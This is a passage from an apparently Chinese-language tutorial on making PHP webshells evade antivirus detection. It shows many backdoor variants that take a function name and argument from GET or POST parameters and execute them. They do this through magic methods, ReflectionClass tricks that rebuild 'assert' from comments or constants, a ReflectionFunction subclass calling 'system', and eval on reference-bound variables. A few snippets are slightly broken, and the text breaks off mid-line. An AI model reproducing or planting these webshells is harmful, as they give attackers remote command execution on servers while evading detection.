<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">foreach</span> (<span class="keyword">array</span>(<span class="string">&#x27;_GET&#x27;</span>) <span class="keyword">as</span> <span class="variable">$_request</span>) &#123;</span><br><span class="line"><span class="keyword">foreach</span> (<span class="variable">$$_request</span> <span class="keyword">as</span> <span class="variable">$_key</span>=&gt;<span class="variable">$_value</span>) &#123;</span><br><span class="line"><span class="variable">$$_key</span> = <span class="variable">$_value</span>;</span><br><span class="line"><span class="variable">$_key</span>(<span class="variable">$_value</span>);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>b. 类，魔术方法</p>
<ol>
<li>构造和析构方法</li>
</ol>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">A</span></span>&#123;</span><br><span class="line"><span class="keyword">private</span> <span class="variable">$name</span>;</span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"><span class="variable">$name</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="variable language_">$this</span>-&gt;name = <span class="variable">$name</span>;</span><br><span class="line"><span class="variable">$temp</span> = <span class="title function_ invoke__">substr</span>(<span class="variable">$name</span>,<span class="number">6</span>);</span><br><span class="line"><span class="variable">$name</span> = <span class="title function_ invoke__">substr</span>(<span class="variable">$name</span>,<span class="number">0</span>,<span class="number">6</span>);</span><br><span class="line"><span class="variable">$name</span>(<span class="variable">$temp</span>);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$obj</span> = <span class="keyword">new</span> <span class="title function_ invoke__">A</span>(<span class="variable">$_GET</span>[<span class="number">1</span>]);</span><br><span class="line"><span class="comment">## 析构方法</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">B</span></span>&#123;</span><br><span class="line"><span class="keyword">private</span> <span class="variable">$name</span>;</span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"><span class="variable">$name</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="variable language_">$this</span>-&gt;name = <span class="variable">$name</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="variable">$temp</span> = <span class="title function_ invoke__">substr</span>(<span class="variable">$this</span>-&gt;name,<span class="number">6</span>);</span><br><span class="line"><span class="variable">$name</span> = <span class="title function_ invoke__">substr</span>(<span class="variable">$this</span>-&gt;name,<span class="number">0</span>,<span class="number">6</span>);</span><br><span class="line"><span class="variable">$name</span>(<span class="variable">$temp</span>);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$obj</span> = <span class="keyword">new</span> <span class="title function_ invoke__">B</span>(<span class="variable">$_GET</span>[<span class="number">1</span>]);</span><br></pre></td></tr></table></figure>

<ol start="2">
<li>get和和set方法方法</li>
</ol>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">## set方法</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Demo</span></span>&#123;</span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__set</span>(<span class="params"><span class="variable">$name</span>, <span class="variable">$value</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="variable">$temp</span> = <span class="title function_ invoke__">substr</span>(<span class="variable">$name</span>,<span class="number">6</span>);</span><br><span class="line"><span class="variable">$name</span> = <span class="title function_ invoke__">substr</span>(<span class="variable">$name</span>,<span class="number">0</span>,<span class="number">6</span>);</span><br><span class="line"><span class="variable">$name</span>(<span class="variable">$temp</span>);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$obj</span> = <span class="keyword">new</span> <span class="title class_">Demo</span>();</span><br><span class="line"><span class="variable">$obj</span>-&gt;<span class="variable">$_GET</span>[<span class="number">1</span>]=<span class="string">&#x27;占位的&#x27;</span>;</span><br><span class="line"><span class="comment">## get方法</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Demo</span></span>&#123;</span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__get</span>(<span class="params"><span class="variable">$name</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="variable">$temp</span> = <span class="title function_ invoke__">substr</span>(<span class="variable">$name</span>,<span class="number">6</span>);</span><br><span class="line"><span class="variable">$name</span> = <span class="title function_ invoke__">substr</span>(<span class="variable">$name</span>,<span class="number">0</span>,<span class="number">6</span>);</span><br><span class="line"><span class="variable">$name</span>(<span class="variable">$temp</span>);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$obj</span> = <span class="keyword">new</span> <span class="title class_">Demo</span>();</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$obj</span>-&gt;<span class="variable">$_GET</span>[<span class="number">1</span>];</span><br></pre></td></tr></table></figure>

<p>​	3.其他魔术方法</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">## toString方法</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Demo</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line"><span class="keyword">private</span> <span class="variable">$name</span>;</span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"><span class="variable">$name</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"></span><br><span class="line"><span class="variable language_">$this</span>-&gt;name = <span class="variable">$name</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__toString</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="variable">$temp</span> = <span class="title function_ invoke__">substr</span>(<span class="variable">$this</span>-&gt;name,<span class="number">6</span>);</span><br><span class="line"><span class="variable">$name</span> = <span class="title function_ invoke__">substr</span>(<span class="variable">$this</span>-&gt;name,<span class="number">0</span>,<span class="number">6</span>);</span><br><span class="line"><span class="variable">$name</span>(<span class="variable">$temp</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="string">&#x27;占位&#x27;</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$obj</span> = <span class="keyword">new</span> <span class="title class_">Demo</span>(<span class="variable">$_GET</span>[<span class="number">1</span>]);</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$obj</span>;</span><br><span class="line"><span class="comment">## clone方法</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Demo</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line"><span class="keyword">private</span> <span class="variable">$name</span>;</span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"><span class="variable">$name</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="variable language_">$this</span>-&gt;name = <span class="variable">$name</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__clone</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="variable">$temp</span> = <span class="title function_ invoke__">substr</span>(<span class="variable">$this</span>-&gt;name,<span class="number">6</span>);</span><br><span class="line"><span class="variable">$name</span> = <span class="title function_ invoke__">substr</span>(<span class="variable">$this</span>-&gt;name,<span class="number">0</span>,<span class="number">6</span>);</span><br><span class="line"><span class="variable">$name</span>(<span class="variable">$temp</span>);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$obj</span> = <span class="keyword">new</span> <span class="title class_">Demo</span>(<span class="variable">$_GET</span>[<span class="number">1</span>]);</span><br><span class="line"><span class="variable">$obj2</span> = <span class="keyword">clone</span> <span class="variable">$obj</span>;</span><br><span class="line"><span class="comment">## call方法</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Demo</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__call</span>(<span class="params"><span class="variable">$name</span>,<span class="variable">$args</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="variable">$name</span>(<span class="variable">$args</span>[<span class="number">0</span>]);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$obj</span> = <span class="keyword">new</span> <span class="title class_">Demo</span>();</span><br><span class="line"><span class="variable">$obj</span>-&gt;<span class="variable">$_GET</span>[<span class="number">0</span>](<span class="variable">$_GET</span>[<span class="number">1</span>]);</span><br><span class="line"><span class="comment">## callStatic方法（最简单）</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Demo</span></span>&#123;</span><br><span class="line"><span class="keyword">public</span> <span class="built_in">static</span> <span class="function"><span class="keyword">function</span> <span class="title">__callStatic</span>(<span class="params"><span class="variable">$name</span>, <span class="variable">$arguments</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="variable">$name</span>(<span class="variable">$arguments</span>[<span class="number">0</span>]);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="title class_">Demo</span>::<span class="variable">$_GET</span>[<span class="number">0</span>](<span class="variable">$_GET</span>[<span class="number">1</span>]);</span><br><span class="line"><span class="comment">## isset方法</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Demo</span></span>&#123;</span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__isset</span>(<span class="params"><span class="variable">$name</span></span>)</span>&#123;</span><br><span class="line"><span class="variable">$temp</span> = <span class="title function_ invoke__">substr</span>(<span class="variable">$name</span>,<span class="number">6</span>);</span><br><span class="line"><span class="variable">$name</span> = <span class="title function_ invoke__">substr</span>(<span class="variable">$name</span>,<span class="number">0</span>,<span class="number">6</span>);</span><br><span class="line"><span class="variable">$name</span>(<span class="variable">$temp</span>);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$obj</span> = <span class="keyword">new</span> <span class="title class_">Demo</span>();</span><br><span class="line"><span class="keyword">isset</span>(<span class="variable">$obj</span>-&gt;<span class="variable">$_GET</span>[<span class="number">0</span>]);</span><br><span class="line"><span class="comment">## unset方法</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Demo</span></span>&#123;</span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__unset</span>(<span class="params"><span class="variable">$name</span></span>)</span>&#123;</span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__unset</span>(<span class="params"><span class="variable">$name</span></span>)</span>&#123;</span><br><span class="line"><span class="variable">$temp</span> = <span class="title function_ invoke__">substr</span>(<span class="variable">$name</span>,<span class="number">6</span>);</span><br><span class="line"><span class="variable">$name</span> = <span class="title function_ invoke__">substr</span>(<span class="variable">$name</span>,<span class="number">0</span>,<span class="number">6</span>);</span><br><span class="line"><span class="variable">$name</span>(<span class="variable">$temp</span>);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$obj</span> = <span class="keyword">new</span> <span class="title class_">Demo</span>();</span><br><span class="line"><span class="keyword">unset</span>(<span class="variable">$obj</span>-&gt;<span class="variable">$_GET</span>[<span class="number">0</span>]);</span><br></pre></td></tr></table></figure>



<p><strong>c. ReflectionClass</strong></p>
<p>1.使用注释免杀</p>
<p><code>public ReflectionClass::getDocComment( void) : string</code></p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">* YXNzZXJ0YWE=</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line">classExample</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">fn</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$reflector</span> = <span class="keyword">new</span> <span class="title class_">ReflectionClass</span>(<span class="string">&#x27;Example&#x27;</span>);</span><br><span class="line"><span class="variable">$zhushi</span> = <span class="title function_ invoke__">substr</span>((<span class="variable">$reflector</span>-&gt;<span class="title function_ invoke__">getDocComment</span>()), <span class="number">7</span>, <span class="number">12</span>);</span><br><span class="line"><span class="variable">$zhushi</span> = <span class="title function_ invoke__">base64_decode</span>(<span class="variable">$zhushi</span>);</span><br><span class="line"><span class="variable">$zhushi</span> = <span class="title function_ invoke__">substr</span>(<span class="variable">$zhushi</span>, <span class="number">0</span>, <span class="number">6</span>);</span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="keyword">foreach</span> (<span class="keyword">array</span>(<span class="string">&#x27;_POST&#x27;</span>,<span class="string">&#x27;_GET&#x27;</span>) <span class="keyword">as</span> <span class="variable">$_request</span>) &#123;</span><br><span class="line"><span class="keyword">foreach</span> (<span class="variable">$$_request</span> <span class="keyword">as</span> <span class="variable">$_key</span>=&gt;<span class="variable">$_value</span>) &#123;</span><br><span class="line"><span class="variable">$$_key</span>= <span class="variable">$_value</span>;</span><br><span class="line"><span class="title function_ invoke__">print_r</span>(<span class="variable">$$_request</span>);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$zhushi</span>(<span class="variable">$_value</span>);</span><br><span class="line"></span><br></pre></td></tr></table></figure>



<p>2.自定义变量免杀</p>
<p><code>public ReflectionClass::getConstants(void) : array</code></p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Test</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line"><span class="keyword">const</span> <span class="variable constant_">a</span> = <span class="string">&#x27;As&#x27;</span>;</span><br><span class="line"><span class="keyword">const</span> <span class="variable constant_">b</span> = <span class="string">&#x27;se&#x27;</span>;</span><br><span class="line"><span class="keyword">const</span> <span class="variable constant_">c</span> = <span class="string">&#x27;rt&#x27;</span>;</span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$para1</span>;</span><br><span class="line"><span class="variable">$para2</span>;</span><br><span class="line"><span class="variable">$reflector</span> = <span class="keyword">new</span> <span class="title class_">ReflectionClass</span>(<span class="string">&#x27;Test&#x27;</span>);</span><br><span class="line"><span class="keyword">for</span> (<span class="variable">$i</span>=<span class="number">97</span>; <span class="variable">$i</span> &lt;= <span class="number">99</span>; <span class="variable">$i</span>++) &#123;</span><br><span class="line"><span class="variable">$para1</span> = <span class="variable">$reflector</span>-&gt;<span class="title function_ invoke__">getConstant</span>(<span class="title function_ invoke__">chr</span>(<span class="variable">$i</span>));</span><br><span class="line"><span class="variable">$para2</span>.=<span class="variable">$para1</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">foreach</span> (<span class="keyword">array</span>(<span class="string">&#x27;_POST&#x27;</span>,<span class="string">&#x27;_GET&#x27;</span>) <span class="keyword">as</span> <span class="variable">$_request</span>) &#123;</span><br><span class="line"><span class="keyword">foreach</span> (<span class="variable">$$_request</span> <span class="keyword">as</span> <span class="variable">$_key</span>=&gt;<span class="variable">$_value</span>) &#123;</span><br><span class="line"><span class="variable">$$_key</span>= <span class="variable">$_value</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$para2</span>(<span class="variable">$_value</span>);</span><br></pre></td></tr></table></figure>

<p><code>public ReflectionClass::getConstants(void) : array</code></p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">classTest</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">const</span> <span class="variable constant_">a</span> = <span class="keyword">array</span>(<span class="number">1</span>=&gt;<span class="string">&#x27;aS&#x27;</span>,<span class="number">2</span>=&gt;<span class="string">&#x27;se&#x27;</span>,<span class="number">3</span>=&gt;<span class="string">&#x27;rT&#x27;</span>);</span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$refl</span> = <span class="keyword">new</span> <span class="title class_">ReflectionClass</span>(<span class="string">&#x27;Test&#x27;</span>);</span><br><span class="line"><span class="keyword">foreach</span> (<span class="variable">$refl</span>-&gt;<span class="title function_ invoke__">getConstants</span>() <span class="keyword">as</span> <span class="variable">$key</span> =&gt; <span class="variable">$value</span>) &#123;</span><br><span class="line"><span class="keyword">foreach</span> (<span class="variable">$value</span> <span class="keyword">as</span> <span class="variable">$key</span> =&gt; <span class="variable">$value1</span>) &#123;</span><br><span class="line"><span class="variable">$value2</span>.=<span class="variable">$value1</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">foreach</span> (<span class="keyword">array</span>(<span class="string">&#x27;_POST&#x27;</span>,<span class="string">&#x27;_GET&#x27;</span>) <span class="keyword">as</span> <span class="variable">$_request</span>) &#123;</span><br><span class="line"><span class="keyword">foreach</span> (<span class="variable">$$_request</span> <span class="keyword">as</span> <span class="variable">$_key</span>=&gt;<span class="variable">$_value</span>) &#123;</span><br><span class="line"><span class="variable">$$_key</span>= <span class="variable">$_value</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$value2</span>(<span class="variable">$_value</span>);</span><br></pre></td></tr></table></figure>

<p><strong>d. 类继承突破限制</strong></p>
<p>引擎认为创建的是test类，实际创建的是<code>ReflectionFunction</code>类</p>
<p><strong>类能够继承类的属性与方法。或许可以从这两个点入手</strong></p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">    <span class="class"><span class="keyword">class</span> <span class="title">test</span> <span class="keyword">extends</span> <span class="title">ReflectionFunction</span></span>&#123;&#125;</span><br><span class="line">	<span class="variable">$f</span> = <span class="keyword">new</span> <span class="title function_ invoke__">test</span>(<span class="string">&#x27;system&#x27;</span>);</span><br><span class="line">	<span class="variable">$f</span>-&gt;<span class="title function_ invoke__">invoke</span>(<span class="variable">$_POST</span>[<span class="number">2333</span>]);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>

<p><strong>e. 类的实例绕过</strong></p>
<p><code>public ReflectionClass::newInstance( mixed $args[, mixed $...] ) : object</code></p>
<p>该方法传参和 <code>call_user_func()</code> 相似，不能使用引用类型传参，如果要使用引用类型使用另一个方法 <code>newInstanceArgs</code></p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Test1</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"><span class="variable">$para</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="comment">//assert</span></span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$class1</span> = <span class="keyword">new</span> <span class="title class_">ReflectionClass</span>(<span class="string">&quot;Test1&quot;</span>);</span><br><span class="line"><span class="variable">$para</span> = <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"><span class="comment">//可控的$para</span></span><br><span class="line"><span class="variable">$class2</span> = <span class="variable">$class1</span>-&gt;<span class="title function_ invoke__">newInstance</span>(<span class="variable">$para</span>);</span><br></pre></td></tr></table></figure>

<p><strong>f. 可变函数</strong></p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$a</span>=<span class="keyword">eval</span>;</span><br><span class="line"><span class="variable">$b</span>;=ls;  </span><br><span class="line"><span class="variable">$a</span>(<span class="variable">$b</span>);</span><br><span class="line">--------------------------------------------</span><br><span class="line">可变函数升级:</span><br><span class="line">变量与变量绑定，牵一发而动全身</span><br><span class="line">--------------------------------------------   </span><br><span class="line">样本:</span><br><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$b</span> = <span class="string">&quot;111&quot;</span>;</span><br><span class="line"><span class="variable">$c</span> = <span class="string">&quot;222&quot;</span>;</span><br><span class="line"><span class="keyword">if</span>(<span class="title function_ invoke__">get_cfg_var</span>(<span class="string">&#x27;error_reporting&#x27;</span>)&gt;<span class="number">0</span>)&#123;</span><br><span class="line"><span class="variable">$b</span>=<span class="string">&quot;#&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$a</span> = <span class="keyword">array</span>( <span class="string">&quot;one&quot;</span>=&gt;<span class="variable">$c</span>,<span class="string">&quot;two&quot;</span>=&gt;&amp;<span class="variable">$c</span> );</span><br><span class="line"><span class="variable">$url</span> = <span class="string">&quot;http://a/usr/&quot;</span>.<span class="variable">$b</span>.<span class="string">&quot;?a=1&quot;</span>;</span><br><span class="line"><span class="variable">$d</span> =<span class="title function_ invoke__">parse_url</span>(<span class="variable">$url</span>);</span><br><span class="line"><span class="keyword">if</span>(<span class="variable">$d</span>[<span class="string">&#x27;query&#x27;</span>])&#123;</span><br><span class="line"><span class="variable">$c</span>=<span class="string">&quot;echo 111;&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span>&#123;</span><br><span class="line"><span class="variable">$c</span>=<span class="variable">$_FILES</span>[<span class="string">&#x27;useraccount&#x27;</span>][<span class="string">&#x27;name&#x27;</span>];</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="variable">$a</span>[<span class="string">&quot;two&quot;</span>]);</span><br><span class="line"><span class="keyword">eval</span>(<span class="variable">$a</span>[<span class="string">&quot;two&quot;</span>]);</span><br><span class="line"><span class="meta">?&gt;</span>    </span><br><span class="line">--------------------------------------------</span><br><span class="line">样本详解:</span><br><span class="line">在数组中，将 <span class="variable">$c</span> 与<span class="variable">$a</span>[<span class="string">&quot;two&quot;</span>]绑定在一起：</span><br><span class="line"><span class="variable">$c</span> = <span class="string">&quot;222&quot;</span>;</span><br><span class="line"><span class="variable">$a</span> = <span class="keyword">array</span>( <span class="string">&quot;one&quot;</span>=&gt;<span class="variable">$c</span>,<span class="string">&quot;two&quot;</span>=&gt;&amp;<span class="variable">$c</span> );</span><br><span class="line"></span><br><span class="line">这样，当<span class="variable">$c</span> 变化的时候，<span class="variable">$a</span>[<span class="string">&quot;two&quot;</span>]也会随之变化：</span><br><span class="line"><span class="variable">$c</span>=<span class="variable">$_FILES</span>[<span class="string">&#x27;useraccount&#x27;</span>][<span class="string">&#x27;name&#x27;</span>];</span><br><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="variable">$a</span>[<span class="string">&quot;two&quot;</span>]);</span><br><span class="line">--------------------------------------------</span><br><span class="line">将参数取值的判断进行了前移。简言之就是：</span><br><span class="line"><span class="variable">$c</span>=<span class="variable">$a</span>==<span class="variable">$b</span>?<span class="string">&#x27;system&#x27;</span>:<span 